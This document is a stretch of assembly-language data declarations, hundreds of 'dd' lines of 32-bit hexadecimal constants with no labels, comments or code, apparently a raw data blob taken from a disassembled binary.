		dd 5A0A8E7h, 0F16AEBFBh, 0FF88E400h, 0A8082C99h, 3E4658E0h
		dd 66BC5E4Ch, 1761D204h, 747C8803h, 5C659303h, 0CB81B899h
		dd 7170A0E5h, 7E872488h, 4C065920h, 434014C8h, 30203951h
		dd 0D080DBA2h, 583C3F45h, 59770468h, 3241B5E0h,	80994B56h
		dd 77BDCAD9h, 50124C23h, 0E3286Ah, 6396E662h, 0E57FA8A0h
		dd 11EC2230h, 5C6782E4h, 7202BED8h, 5D68AC3Fh, 0A5730A5h
		dd 8E484E58h, 51404641h, 47481A71h, 12FE822h, 5B52C76Eh
		dd 81595A11h, 0D331F081h, 0C0507902h, 1AC44EAh,	393551B9h
		dd 921DE332h, 85FD508h,	2FA37C40h, 0E6A7A8Ah, 0ECAC67BDh
		dd 4D5ED9C0h, 0E300E576h, 305B3AEBh, 0F8DCA55Ah, 0F47E54FCh
		dd 579736Dh, 2F3EF11Eh,	9DC00026h, 0A6F81718h, 0D37F9918h
		dd 18A869C8h, 3980FDEAh, 9E012137h, 3D24FE0Ah, 282116E3h
		dd 0FC500DD1h, 9EF7C8h,	520AD5C2h, 32921747h, 0BA904E60h
		dd 421A688h, 0A2EF198Ah, 9164C92Dh, 2C84EB69h, 0EC9FC19Eh
		dd 0DD345C8Ch, 0E99B1500h, 1B2DC3C4h, 7749C0F4h, 0A24651C8h
		dd 0E9A06906h, 0C4D0C557h, 30FC7060h, 104C9E2Bh, 0CC9114FFh
		dd 1D621CBh, 3F329EF4h,	0ECC2B70Ch, 80608D45h, 0BB9F7EC8h
		dd 2CAB008Bh, 7D5ED27Fh, 0B9303888h, 710FD1E2h,	0BCE44927h
		dd 964931Bh, 0AF0121AEh, 9EC626EBh, 1824E1B2h, 0B574ADh
		dd 0E47419A2h, 98285F94h, 0E1DA851Dh, 0A56E980h, 7363C07Ch
		dd 2D5007DFh, 0C073C8C9h, 2C1DB97Eh, 9BE73900h,	0ACDD209Eh
		dd 319900ABh, 7954704Ch, 0FF0BB60Ah, 874D8380h,	0A7E00241h
		dd 16C73CEh, 75B0FDBCh,	0F02916A1h, 5601A09Bh, 0D9917ABFh
		dd 0E8ECA5A4h, 83F400EBh, 4135D53Ah, 4A00FB8Fh,	0DD1F94E6h
		dd 0C5E5C4h, 0AF892CDBh, 21426240h, 3EE91E00h, 0F518A711h
		dd 0BDEB3822h, 404BF49Fh, 0A360517h, 0EC0EFC79h, 0C0DA5573h
		dd 2CBCA0DFh, 0F88400E8h, 0D8B1CF97h, 911F5EB7h, 0EF876473h
		dd 4E401175h, 3984ACEh,	0DDE0FF74h, 85B00A43h, 750003F9h
		dd 1B28F8A6h, 570E23h, 54AA9E83h, 0D2A35ED5h, 80D1413Dh
		dd 32F439F3h, 0B8735375h, 15790170h, 8488F66Ah,	90B0833Ah
		dd 0C0D361A0h, 12425AEh, 267BF4FEh, 70A52942h, 0E70F0E52h
		dd 403FF6A0h, 68ABAF28h, 46470030h, 0B5BB78EBh,	94008C16h
		dd 0EF4E835Eh, 0E0D44DDh, 66B912E6h, 3515F100h,	0BF00592Ch
		dd 0A35B29AEh, 3F49008h, 55BDD122h, 112BEC64h, 3F7804EBh
		dd 30ED0094h, 45824AE7h, 7E003C44h, 0F1F35E8Bh,	8DEAE8h
		dd 0FB3F9656h, 4AF5FE66h, 29786131h, 0CC115F8Fh, 21CF109Bh
		dd 70A080F2h, 2608B389h, 31559420h, 3C517493h, 20B7127Dh
		dd 16312555h, 7693B55Ch, 4DE8200h, 0D90AEE14h, 297700C1h
		dd 9C87B4A4h, 0C03954E2h, 0F6880379h, 0CFD3BB58h, 0F4197350h
		dd 2AA90456h, 80FCCF30h, 43F58B08h, 2D4B8601h, 71F4FD23h
		dd 0F42456F0h, 3FEB0169h, 32E1C7C5h, 0CB2CF851h, 5373FB00h
		dd 0CE789E4Dh, 55A007Fh, 0D775BE21h, 4A009AE8h,	0D00440EDh
		dd 0CEDF2Bh, 7F69CCBBh,	1BE2DB80h, 856E903Dh, 0DCD3D788h
		dd 0E92CBEC0h, 12C10041h, 0ABE06156h, 5300DB1Fh, 9B6C88B1h
		dd 77ACACFh, 7692B2B8h,	0A2811EA9h, 4096AFEBh, 0B319E8DCh
		dd 0E1FD1800h, 15588046h, 147C1D48h, 3E6C0185h,	20EC389Bh
		dd 0D401CF68h, 6F596555h, 1F882C5h, 0AB621F8Dh,	549240C3h
		dd 0E9CE5D94h, 0A05BEC00h, 6A09554Ah, 0AAEA0006h, 0D1A66E91h
		dd 4709F31Dh, 0D98B66h,	0A2BAFC3Fh, 0A9910011h,	6558CC97h
		dd 740369D5h, 56D13E4Bh, 3081D4FDh, 8FC1D26h, 722224EEh
		dd 750A00DFh, 627E396Fh, 12172E00h, 0A4524013h,	1A530691h
		dd 0BA6F9A04h, 0FCC17E00h, 32E24AB1h, 221B0023h, 638102E4h
		dd 0A21CB860h, 0F9C1D3E0h, 663A7FB6h, 7C964ED4h, 1C327ACCh
		dd 254FA93h, 0E3F6252Dh, 0EC3A3CE0h, 5089284Ch,	0BD981880h
		dd 563981Eh, 784000B8h,	101EBF8Ch, 49D8005Dh, 67A525F6h
		dd 0CF00B2A6h, 0FAB26C4h, 241A6Ah, 22125129h, 0A1CAE8C0h
		dd 13FA3A00h, 808653A2h, 4BE808h, 6A45F90Eh, 0DA8AEC09h
		dd 0A2445200h, 495C9FCFh, 0AC4C4A3Ah, 2E035812h, 0F427A335h
		dd 6C920EB7h, 1D96CD20h, 6200E994h, 0D8EC727Bh,	0C35E04Fh
		dd 0E86595C4h, 8703F810h, 0C11E076Ch, 51A3B87Fh, 0D72002Bh
		dd 0E5A2F524h, 4800F416h, 0AAFB467Ah, 99250Ch, 6271A070h
		dd 0C0EF2674h, 0A73EC900h, 943543A8h, 0FA0E00F2h, 0BC1D2CD4h
		dd 0B2036F37h, 0A8415066h, 120C98EDh, 0E76118CBh, 70B9E2CAh
		dd 81073F00h, 672339C0h, 1C90728Fh, 40FDDE87h, 6662D343h
		dd 963AAE94h, 36CBBBCh,	2E840EA9h, 0DC6DD84Ch, 0C09C008Ch
		dd 450D58BFh, 0D009CD94h, 0ADCE4Ah, 0B15A3384h,	260A0109h
		dd 4B5960BFh, 0FDA3E032h, 0CDF31E00h, 0EFC32EE9h, 0E0907146h
		dd 0DA723Ch, 784B2CF5h,	6AAB859Ch, 0E6612300h, 0CCC5DF74h
		dd 4D7370h, 2E4E15CEh, 0A107019Ah, 0F868E600h, 58F930Fh
		dd 211F0EB8h, 0FE9B6Dh,	0A03E3353h, 7600CE5Eh, 4E11D71Ch
		dd 35AE24h, 0DC71236h, 0AAF94C6h, 490023E2h, 47F54DDCh
		dd 0EAD98D79h, 92420240h, 0A01DBD8Fh, 67991BE0h, 706B220Eh
		dd 0F33EA095h, 448D98Eh
		dd 8039B2E6h, 681807Ah,	60FF2679h, 7B017661h, 3B3A3F4Fh
		dd 58D0B4B6h, 0FA8F004Bh, 0DB232B3Eh, 66031569h, 1B61839Dh
		dd 6D89B816h, 0A941403h, 3C7EE408h, 5800DFBFh, 0CC743DCEh
		dd 0F01B663h, 8E423991h, 0C5E4227Ah, 0E5200E9h,	8FA0AA1h
		dd 0D03DDF7h, 0DF357467h, 4003D0F9h, 2C90D4h, 345CE727h
		dd 8023A24Ch, 8079C839h, 714E618Eh, 56B486h, 0B6F6161Ah
		dd 12BF1766h, 0FDD9CA04h, 8380D84Ah, 0E9EAB2h, 1F3CA45Ch
		dd 3322542Bh, 64F4980Eh, 610A032h, 61FBC4h, 30C36F4Bh
		dd 91FEB7D2h, 9081EB0Fh, 0FC93C0BCh, 178B35h, 0BB3FFD9Eh
		dd 0D45D6AAFh, 57F20800h, 6C1F9514h, 65FA00ADh,	5EF8E849h
		dd 220163EEh, 0E4C485Dh, 86CCC35Bh, 0B0F339F0h,	0D7281F00h
		dd 1D3BDDBAh, 0DED82207h, 7E10037Dh, 1637892h, 4859F30Bh
		dd 70ED8767h, 0A300F95Eh, 181D417h, 78EBA93h, 0F1666DD3h
		dd 190DE00Ah, 5200854Ch, 3E36BC53h, 45BB2Ch, 0AF09880Fh
		dd 0D8308131h, 0F766E404h, 24C027F1h, 0BF6DE1h,	0AAEC8D3h
		dd 0EF886869h, 1C0056E0h, 0B4CC73C2h, 3FBBA0D4h, 0DCC8B8D7h
		dd 5C7EF83Ch, 3000B9E7h, 0B120FC5Eh, 8000B8EEh,	5386BC93h
		dd 202AF17h, 34CAB48Dh,	9FE0BDA2h, 440376BEh, 3984CB93h
		dd 0E17FB8A9h, 7D460080h, 73AAA84Dh, 0BE7542EDh, 0C40AA300h
		dd 0C2306E50h, 55813CF1h, 3252A581h, 0CFDD41B0h, 75F6EAD0h
		dd 815BF339h, 6BDA729Eh, 6ACCA8CCh, 8D430099h, 1AC970C1h
		dd 3C00AF34h, 0BF96F3AEh, 627D97h, 7F9FB620h, 1484E473h
		dd 32F08D05h, 3F842B7Ah, 0BE00DC16h, 0C1E7EEE8h, 92BB1C43h
		dd 7F7FE30h, 9D1651D6h,	0C7779063h, 0D0F85CCh, 0DD671B27h
		dd 1A6B8040h, 4CC8B90Ch, 6400BC97h, 15FB57B5h, 2A096DD2h
		dd 0F4BF25h, 18ED84B0h,	85A50009h, 0B6925881h, 3245122h
		dd 4C00CADEh, 492ACF66h, 104E6012h, 7633FCB8h, 0A331ED00h
		dd 8CD761E2h, 4D9B0AFh,	1525D0BEh, 8D98C095h, 7718FD88h
		dd 7310949Ch, 0E8450022h, 3F97525Bh, 3100C540h,	2CB30603h
		dd 70B5F463h, 0B4E005Fh, 0D895E94Ah, 0C8E4869Fh, 0D460A0FEh
		dd 275C3A49h, 0DC3900BFh, 8A6F82B8h, 9C003E3Dh,	9B92879Eh
		dd 3FF7E179h, 9802FC6h,	0B0B93B5Dh, 1001C515h, 35AD7FC4h
		dd 0A3701BFAh, 0D62A0049h, 723CB96Dh, 52027668h, 0BFB01CB2h
		dd 58EAC0CBh, 0A14B00FAh, 0FDD55992h, 24013648h, 4202F3C7h
		dd 0F0CB1DD8h, 3C83D8Eh, 2808CDC2h, 8898A6AFh, 6CC09F06h
		dd 5692810Dh, 238B03DCh, 42CF2A18h, 5CE621F8h, 0CCDC100h
		dd 0F97E5A92h, 0C7B1007Ch, 858A7F9Ch, 5C72C60Fh, 2B05E900h
		dd 7313893Dh, 39A200B9h, 6BD53487h, 1C00FE54h, 60826249h
		dd 6FC968h, 0F7464A29h,	44D99F33h, 0CCC11C2Ah, 0E2A6FC00h
		dd 0D40A8A25h, 1A471E8Ch, 4A8EC098h, 0D38882F2h, 0D518D7B8h
		dd 1468B804h, 1DDCE9CBh, 8B530042h, 79F4FF1h, 0AF002398h
		dd 31A8BDAEh, 0BC33D1h,	1E817D4Ah, 3B718C6Fh, 261D6400h
		dd 8EE47612h, 0C1B80BC8h, 0B0008AB6h, 0A5DACEA8h, 10F68B30h
		dd 7F91DD3h, 0B7189C73h, 0B2CA601Fh, 0B8C05AB8h, 3FB129EDh
		dd 3942C16h, 8EA401C4h,	0E03347E1h, 5D4F8B7Ch, 606E74A0h
		dd 304650F9h, 68042A5Fh, 656DFF9Dh, 0EC526683h,	0D2DE4AC0h
		dd 40E060BAh, 116295E6h, 50009D72h, 4AC531C4h, 7103787h
		dd 0BDE68523h, 2D6F50F4h, 90C059CDh, 65E28125h,	0B0E90552h
		dd 0C7774146h, 7401904Fh, 290398E0h, 87AA892Fh,	3179C0E4h
		dd 35B8021Ch, 0C06F767Ah, 0D6C8ACE0h, 0A4A8FFEDh, 0F005DB49h
		dd 0CABC995Eh, 2200F8FCh, 87E294E3h, 88004A14h,	0B6B70D8Dh
		dd 16E0DFF5h, 9FE18D2h,	0C480F434h, 5E144969h, 0E439A700h
		dd 863A7E52h, 96CC00B5h, 0AA0315F3h, 2D00E213h,	18971EB4h
		dd 3C7EF6FCh, 8900EE09h, 3761C8DFh, 0F1009407h,	0CABEDAB4h
		dd 0E2D0ED6Dh, 0DCAE000Eh, 0C1DD78FDh, 4B02AB72h, 0EBC0C8DAh
		dd 9A0CE0F6h, 0F0F4E92Ch, 1EE87FE3h, 0C0E44DE9h, 25CD84Ch
		dd 0F600FA75h, 796A3380h, 60A684B8h, 0B33A20E3h, 170E87C1h
		dd 0E0851E58h, 6B3ECF78h, 88E60F24h, 0EB40F912h, 2E1891F7h
		dd 5E3A8F0Fh, 80852EE3h, 0E5A32DF6h, 0B38D005Dh, 17F8300Bh
		dd 37031416h, 0A029CF1Fh, 34683DABh, 2D8C0180h,	395F7B2Ah
		dd 5886C52Ch, 6007093h,	8AB56AA5h, 0F2F190A4h, 7C76000Bh
		dd 39550F49h, 36007D22h, 6FDBEF18h, 3619E0Ch, 78B866A4h
		dd 0F8885A5Ch, 71004A86h, 0EA8A871Eh, 0A9F36Bh,	0E737ECF6h
		dd 7260B60Eh, 7801C500h, 8C11906Eh, 7E9A006Ch, 3FD6826Dh
		dd 0A35C5042h, 715D00F3h, 0D6F9C41h, 3F9CB024h,	2F57274h
		dd 5AE50E5Eh, 686546h, 0DD12D1A8h, 181429C8h, 0A0B4283Ch
		dd 0DAF3AF00h, 5A33449Dh, 0E4010284h, 5D96A285h, 9CC8DD43h
		dd 8008CC3h, 0D4B1E69h,	0FC090F88h, 6F01005Ch, 42FAEB1Fh
		dd 0A926322Ah, 0ED00A48Dh, 6AE1BD96h, 0F461038Ah, 0B0CDE424h
		dd 0B7ADA0C7h, 26FA8C81h, 7CAC5002h, 8F2B860Ch,	32F40CAh
		dd 9E9B23h, 0F212CE75h,	0AA90ED38h, 5F0064E0h, 0BCF540B1h
		dd 0B2E5BEh, 1183CD22h,	493E7170h, 623A0E00h, 16A41F9Fh
		dd 0E72900FEh, 0FC66E9BCh, 0F0EA45C7h, 49005171h, 7FC9A1B1h
		dd 72F414Fh, 53619843h,	0F5707323h, 6DC3D900h, 0CE069691h
		dd 172B0568h, 2042CCF8h, 9CC6C1ECh, 39D36700h, 1047F1CEh
		dd 0FB661397h, 888C0052h, 0BB327BAEh, 16EE9D05h, 39C0E255h
		dd 0AF3C284h, 685AEFECh, 7E801BCh, 80A18252h, 56709911h
		dd 3F9454B4h, 90935D88h, 800800CCh, 2111F169h, 0AD006D7Dh
		dd 67ED5070h, 59454Eh, 716FF73Dh, 81E12244h, 9B9E7600h
		dd 32746ABCh, 10BF03DBh, 6C4EE9ADh, 0B6F5F988h,	787D3E05h
		dd 0E080DFF2h, 28A49AB2h, 1BFCA61Ah, 18DCA018h,	35992BC8h
		dd 0B75DB600h, 0D18AFC3Fh, 8D330364h, 52C4F3E1h, 9CF16906h
		dd 1C399245h, 0C316D75h, 0D9218293h, 1BE31400h,	4890088Fh
		dd 3AC502DCh, 322E1F59h, 0C4A19361h, 5B00E4D4h,	0F65F0BC8h
		dd 0B87462h, 8BA3FB6Bh,	484FD9B6h, 33B3F504h, 0E3809E93h
		dd 29CCCD4h, 0D654C0C4h, 94E07B66h, 0C2584B3Ah,	0FCB0E0A0h
		dd 9AD40395h, 0CEC09BD6h, 407DD7B1h, 57FE4EC0h,	7A62F918h
		dd 0A635410h, 9E3CD3FCh, 4D8A04C8h, 69A90059h, 1477736Dh
		dd 0CC18D550h, 5CB88D01h, 30F60B1Ah, 2B00EFBFh,	37DCBD1Eh
		dd 1E0E3193h, 13D07CDEh, 71AC0940h, 45B0BC60h, 9E47D607h
		dd 0A0803B5Fh, 75E9D65h, 0C3CD85D8h, 0EBDAF074h, 7B0E34BAh
		dd 20125F11h, 8B1088E2h, 51B8A03Ch, 3F0D0799h, 0E7F29DAh
		dd 0C269D8E0h, 5D50405Ch, 8E3886A4h, 1C7200B7h,	0D3F7A8B1h
		dd 0A15F00BDh, 6378D9CFh, 0F2509F58h, 99013694h, 0D3F875BFh
		dd 8CF06808h, 1EBE1E52h, 0D02EF9h, 90E7E53Ah, 10C03D3Eh
		dd 0FA8E58CEh, 48BB026Dh, 4D1F32BCh, 202AC484h,	691775A0h
		dd 0FA0E9133h, 7BE90BCFh, 89831000h, 4000E3FBh,	8D86608Ch
		dd 818E88h, 0DED50C35h,	718411C0h, 0C51CF11Ch, 4C5C8680h
		dd 90A43E26h, 0F9383704h, 0BF687028h, 81C0E8A6h, 299BB3Bh
		dd 0DEA8C225h, 9C801969h, 0ABBC87CEh, 5407FE74h, 6B977341h
		dd 51235CB0h, 299B03BEh, 0DA04752h, 20D5E0D0h, 0BC3E220Ch
		dd 13C05Bh, 0E8A8F87Ah,	236E1A9Fh, 8089C4A3h, 0EF593012h
		dd 0F1DEAF00h, 0C4103C5Eh
		dd 0D34903DDh, 413A9926h, 0D420699Fh, 0D2E9E7D0h, 0EE9ACB00h
		dd 0B2F1B8A6h, 0A021FE24h, 0BB18AFh, 0FB47D71Ah, 0DB9D531Ch
		dd 0CE328803h, 0B89F2BABh, 3C83755h, 0D2E7D463h, 9DC886F5h
		dd 0E8005877h, 0B90F8BAEh, 1F67B17h, 0E3D75E82h, 20B22889h
		dd 9AF23764h, 0FFBC9000h, 9CED620Ch, 0FA940042h, 0D19E193Eh
		dd 7F5079EAh, 54754FE7h, 0B52F4707h, 0C2105344h, 0FEF64158h
		dd 2CBC0439h, 0B0CEAF1Ch, 0ED005228h, 7D0D8F66h, 1D65AC0h
		dd 4C2E2778h, 3CD8B965h, 9AC10A14h, 5907F87Bh, 0CB406353h
		dd 4A17B1h, 62F1A68Ch, 542F2B8Ah, 8E479900h, 0F733DCDBh
		dd 900A0098h, 0ABF87FD7h, 1500A905h, 60EDBC54h,	468B53Ch
		dd 34759C4Ch, 4A4881BDh, 0F204E6A5h, 0EFEEA081h, 906803F0h
		dd 0AE1EA03Eh, 0F37B000Ah, 0D5F77709h, 13005F9Ch, 7E9E7394h
		dd 548DD9h, 0B7235845h,	67355D9Fh, 1495DB26h, 0EBC0081Fh
		dd 85A14290h, 0A8CB001Bh, 5F8E1A7Bh, 0D0070D11h, 0A012A635h
		dd 0F9CEBFh, 0F51DC8E0h, 4D2B0959h, 0F6879356h,	54DF8087h
		dd 0D3E24AB7h, 36ACE800h, 0C758398Eh, 0CBF70212h, 1A83ADA2h
		dd 0B0F8C140h, 48B8D200h, 0EF1D387h, 0B3550028h, 0E73E35D6h
		dd 0B90EF272h, 35936BDDh, 0FB8E0380h, 97D2BAB4h, 16CF8680h
		dd 3B450F03h, 0DFC05E63h, 0E77536BFh, 68BAF00h,	568AA8Ch
		dd 0DD0A3DA2h, 330CCC80h, 6BEF2F95h, 50163A00h,	932B943Fh
		dd 158B00C5h, 0F10CB5F3h, 6800C27Bh, 0D76037E6h, 3940AC2Eh
		dd 5BCC474Dh, 93636D00h, 0DAE1C4E5h, 1735DE13h,	0ADF8F001h
		dd 2C6CA70Fh, 7B5D2C7Eh, 3B04803Ch, 9C0CD699h, 4EA4B400h
		dd 30895A22h, 7A81005Eh, 0BC450D33h, 6F1CE2A6h,	0F28029E0h
		dd 0FC18F350h, 0AEA900E4h, 3D1F09D3h, 0D5012810h, 0DC3B61BAh
		dd 0E660076Ah, 0FADD0018h, 10AEFB7Bh, 6100EE49h, 6B9E3E67h
		dd 0E63C53h, 4A3FAA12h,	9C0E73B2h, 0C36E9D1Fh, 37C8ABC0h
		dd 139F0AEh, 635AF687h,	0C0AF0E99h, 191436C0h, 791BDDDh
		dd 0A4B12E20h, 0C9741AE0h, 80B500CDh, 0E9A61FE6h, 413C0DD3h
		dd 0CCA0989h, 0E380F582h, 5CE3B7C8h, 8C009590h,	3E02309Eh
		dd 17ADF153h, 0B867A4h,	9DC24632h, 52006B3Ah, 6D4D8BE7h
		dd 3D237BFBh, 0B2B9B6EBh, 0DD4C5480h, 3D9EC09Ch, 320F1C96h
		dd 6C409607h, 0E31C469Bh, 0A95800EBh, 0B524AF8Fh, 0F3E442Bh
		dd 7401252Fh, 0BB0C0028h, 913DC85Dh, 0E60E2528h, 0BD439900h
		dd 0FF28C470h, 592D030Dh, 0C574955Ah, 609C9DD8h, 80E5F339h
		dd 4FF90ECFh, 1EBB9B78h, 0DB4134h, 0C5501EF8h, 32013D4Dh
		dd 666B139Ah, 73E01847h, 10DD008Fh, 59C771CEh, 39004126h
		dd 5A1C4C9Ah, 940CA370h, 0CC580304h, 0D0A6265Bh, 0E8808500h
		dd 0E78BDBB5h, 0E0DC06EAh, 213F1B12h, 49C8A900h, 0FF6A0C97h
		dd 108C09Ch, 0AA553CCFh, 9A35000h, 0A990570Dh, 0C1C03C1Eh
		dd 0F4AC5B00h, 29588CB3h, 6EBB031Fh, 0FA3A00FEh, 9CF78E3Dh
		dd 84010017h, 8F83504Ch, 0F002DBEh, 0F68ACFC0h,	5C21C380h
		dd 0F7C695Dh, 1AA83E6Bh, 907F1EE0h, 4E0180CEh, 5135710Bh
		dd 28B049EAh, 0CA368230h, 5F059000h, 41F0682Bh,	73F309EFh
		dd 85005686h, 0AD9D0DA6h, 0EB000376h, 9C44DEAAh, 9EE49Bh
		dd 0E6B684C7h, 310B825Bh, 0B40FFE07h, 740BA52h,	3DD02955h
		dd 0E1818D9Fh, 798E9C88h, 7101E047h, 56007871h,	5EAABCCEh
		dd 1FB1612Eh, 0C04E1ADDh, 0ABB6110Bh, 4D7ED9ADh, 0A2B0750Eh
		dd 0C83CA01Ch, 329FDFh,	7CD6749h, 0ACF1D6C3h, 0D8E53100h
		dd 47BB0E79h, 596E0314h, 0B721DFF3h, 0C5903CE8h, 200237F6h
		dd 0BB79D3C8h, 0C3808024h, 1CB467FEh, 474651A7h, 0F1E6192Ah
		dd 0C4967E1Fh, 29DE252Fh, 56B54CC3h, 0FC4DB8DEh, 0A27B0071h
		dd 9A177240h, 340324C8h, 0FDD15C83h, 7D2188C2h,	0D23801E5h
		dd 0A9415E54h, 7E2C8F3h, 0D87A252Ah, 7D94480Fh,	98264077h
		dd 799731h, 4C76E264h, 381040A7h, 0CA6A900h, 50CD8B2Dh
		dd 7C690A7Ah, 80E0B2F0h, 8AA75606h, 64000EA6h, 0BE7BABF5h
		dd 0BE83C2Ch, 836A03C8h, 27F64680h, 4F16B934h, 0CA03B8CEh
		dd 0B0331EF2h, 187F6BCAh, 0E8C9A299h, 800C421h,	7D104D0Ch
		dd 606C24C5h, 5E4B17Fh,	805A081h, 0B19F0B28h, 0CADDA406h
		dd 0F2900E21h, 0F4A003A4h, 0C0EECE5h, 6145E703h, 0E05B340Bh
		dd 3ADA6B2h, 0FA21CC23h, 0C93FCDF1h, 5F2B0009h,	8345A836h
		dd 0AF400C2h, 0B2E1401Fh, 774866EAh, 0A57B00F2h, 0CBBFEB38h
		dd 0B8AF0049h, 0E07CD442h, 0B130D632h, 9D6F20CEh, 23B307CDh
		dd 0C61266FBh, 710019CAh, 1941368Dh, 0F77E2Eh, 0A41F14EDh
		dd 0AE2DC39h, 0CB1D7F00h, 3FAC61D1h, 86B21D6Fh,	0A5C90945h
		dd 0F781DC0Ch, 89CEB300h, 0CD18B9E7h, 0D4B10070h, 0EF305E2Ch
		dd 0C91F6E80h, 3821725h, 2013ADCFh, 7BA4F891h, 0D1FE942Ch
		dd 0F5F7E700h, 19D5F1h,	0D49B07A8h, 0C9F868EFh,	81795501h
		dd 2094EE52h, 7EA6F5E4h, 87830E25h, 0A720A8C3h,	0DD1DE69Bh
		dd 0E009923Fh, 0CB314FE0h, 0FC890E9h, 752DAF57h, 0BF90F8E0h
		dd 11015509h, 99880272h, 0A8809E22h, 59E043A5h,	53036CADh
		dd 0BF9331F2h, 0BD8D80A4h, 0DC0C1F75h, 52510054h, 0AC89B117h
		dd 69F87E00h, 931F42EEh, 124501A2h, 90B6DB32h, 701AECE6h
		dd 0D9005978h, 11CDEF95h, 1F803308h, 31F740h, 53F69154h
		dd 10C0F5C0h, 0CE97A53Ah, 3627A20h, 0B8F8DF2Bh,	0B4888730h
		dd 8E1D5264h, 0E583D8F3h, 0C0CCD770h, 0AECAACBh, 3680345Eh
		dd 8F1F2Ch, 0BE5B5C3h, 0E2009AD7h, 0CA0425BDh, 30D97A3Eh
		dd 0B0283511h, 0E5009E02h, 0B6DE1759h, 19458Eh,	0C8C92BDCh
		dd 4A611CE1h, 1A14CB00h, 0EE414E93h, 0DCA4057Fh, 6AA045EBh
		dd 1CEF2804h, 26540487h, 23A2A261h, 358FD704h, 0C707CFC1h
		dd 0F400DD50h, 0C14F67CCh, 7078F820h, 0C52880B2h, 0B5D234BFh
		dd 0DF1F3992h, 0E086550Eh, 295781A0h, 3C00B27Ah, 36A70688h
		dd 389D309h, 0CAAF1DF8h, 9298CDDBh, 0A3004C1Ah,	3FFBE859h
		dd 815785h, 722606F0h, 9CCF97AAh, 0EB2B0E03h, 0D8141F93h
		dd 0ADDA381h, 8A6EE4D7h, 0A49D7020h, 6809338Ch,	0AFC9F328h
		dd 0A291E846h, 550CE319h, 0C5601819h, 1577FDBh,	68020DA5h
		dd 0FE0AF898h, 9001C442h, 0E8FEF15Ch, 0A7002E6Ah, 25F4328Ch
		dd 1E602F66h, 30172A10h, 84063928h, 43159C0h, 0DC9026h
		dd 9E42CC69h, 0CD149C3Fh, 76955303h, 0D8EE5723h, 540B9441h
		dd 2A1EC4FAh, 30C88AF5h, 5581973Bh, 630028D7h, 0D47EF6BEh
		dd 609FF11Fh, 0BA6828ACh, 4A01426Ah, 57E689DBh,	0D0C3CABBh
		dd 5C105F26h, 49613A2Fh, 5049060Ah, 0A73AB0F8h,	0E84E7E03h
		dd 93E5BF89h, 0E17806B3h, 0C874D733h, 0A43F0818h, 192F30h
		dd 5B4CC487h, 0BE36D9C8h, 0F9CA39h, 3FEEC81h, 76A0ABh
		dd 0FA097525h, 0F9889D41h, 405D78CFh, 5360EEEFh, 71FED7h
		dd 52BE509Eh, 8449DA6h,	0DCFC7B03h, 148EE20h, 47A3DBA1h
		dd 5054E4DAh, 0F94F3FB4h, 834C8084h, 0B7CF00C6h, 0DF89BB75h
		dd 0FF3F62F9h, 2467819Bh, 14FDFC44h, 4CB02C50h,	7C51500Dh
		dd 80737CF4h, 0F10A81AAh, 0C811D197h, 400A824Fh, 6CF0A220h
		dd 97884885h, 5DE50016h, 0A372587Ah, 9E333048h,	0E879A17Dh
		dd 5C0D8A09h, 0CD0F5F06h, 0C6401920h, 406D4732h, 8E0A1C00h
		dd 0E404AB43h, 81710AC0h, 30A198h, 446DE108h, 5600F472h
		dd 2CB14ED3h, 30C332F8h
		dd 3911EACh, 0B048F7F9h, 0FD6800DCh, 0A64A1782h, 7ED6030Bh
		dd 50742237h, 0F246A7F0h, 989D20Ah, 0B9B89C45h,	313C80ABh
		dd 1D90D9ECh, 750D005Ch, 7EFA1BE9h, 5A0E7FB3h, 94C76180h
		dd 0BBF10090h, 1D9C27CEh, 31FB009Fh, 4D37476Dh,	4B008405h
		dd 3ADFABEh, 4B936F8h, 741F7A2Eh, 41889082h, 67E4F5F0h
		dd 0B43B0500h, 0EC1F847Fh, 9321C04Eh, 0E2A2E5ADh, 3A5589Fh
		dd 0B10D4BD2h, 0B83FC40Ch, 24784057h, 1C93B414h, 23FFC020h
		dd 29F21F85h, 0BE78D9C4h, 69336490h, 748B00A6h,	8E361BDAh
		dd 0F00F0D7h, 46FA2064h, 206EC8Dh, 1104BC2Eh, 0E0905C2Fh
		dd 7560206Ch, 0EF5E3898h, 2C290012h, 8E5878DDh,	13718241h
		dd 7FFBA38h, 892F53D7h,	0A058CAC6h, 16192E8h, 24611F4h
		dd 300A6FFCh, 0E42AD260h, 0F714F071h, 0B05CE05Ah, 1E0867D3h
		dd 0C05A26B7h, 0ECC2C34Eh, 7D243DDCh, 24E0F89Fh, 9A5B0635h
		dd 288FCE4h, 33B1E1Ah, 0D8687C64h, 4E00383Fh, 0B97F8C5Eh
		dd 129980BCh, 30941603h, 0F7D4FC0Ch, 920FDCA4h,	0A10D1896h
		dd 41DEB0BDh, 0C293D840h, 0D9C1D45Ah, 0EEDDC44h, 0E1DECDA5h
		dd 4778A858h, 7EDCA383h, 0A82B00D1h, 0E5A3A9D2h, 9025FC1h
		dd 4D7A2C27h, 1484408h,	57AAAD74h, 0E47985D9h, 7D004B6Fh
		dd 0EDECA191h, 38EA453h, 0C5B8365Bh, 90119412h,	7766CC1h
		dd 8D5EF9B6h, 4AFA4384h, 63A16018h, 26BA5021h, 3E29D9Bh
		dd 0B738DBD9h, 0AA0239A8h, 155C8B4Ch, 2E0348Ch,	0A7FE3136h
		dd 863C6162h, 88CC48h, 38EB56F6h, 7CA0CAC8h, 84ED1814h
		dd 7DD22278h, 0CD501D7Ah, 0C45F45h, 27CA2616h, 6860A321h
		dd 7CA91891h, 0F95F005Ah, 943492C7h, 74B21713h,	4DED0A15h
		dd 444C76B0h, 1D6C83A4h, 52400150h, 0BC2E678h, 0E9C16048h
		dd 0A0D1424h, 79D3053Dh, 0B460BB74h, 92C1021Eh,	133B26E4h
		dd 549E20h, 0CD78FE4Eh,	410E3DC4h, 80B64F96h, 0ED3A2DDFh
		dd 0B9040010h, 2B2F6AE8h, 3570F5A6h, 0B48A972Bh, 98006791h
		dd 0A4CEEAF7h, 50057D91h, 96C92CB9h, 2A0AB030h,	39D1C47Fh
		dd 3F00880Dh, 63D8100h,	0B8E1A90Ch, 0E04E005Dh,	49BAFBDEh
		dd 0A00B3A26h, 1140E2D4h, 60725DBCh, 0FC056500h, 0A71D48F2h
		dd 0B40DD724h, 0F03BBB41h, 6C24D062h, 0DBE44008h, 0B300CA0Ch
		dd 0B2C735C4h, 934CF60h, 0C9C3C608h, 94F51498h,	39CEC131h
		dd 1863DB1Eh, 0A0883000h, 6B1338D9h, 8AB4694Dh,	0CE80E07Bh
		dd 73B9291Ch, 849553A1h, 54004C58h, 0BFF80249h,	7A082BF0h
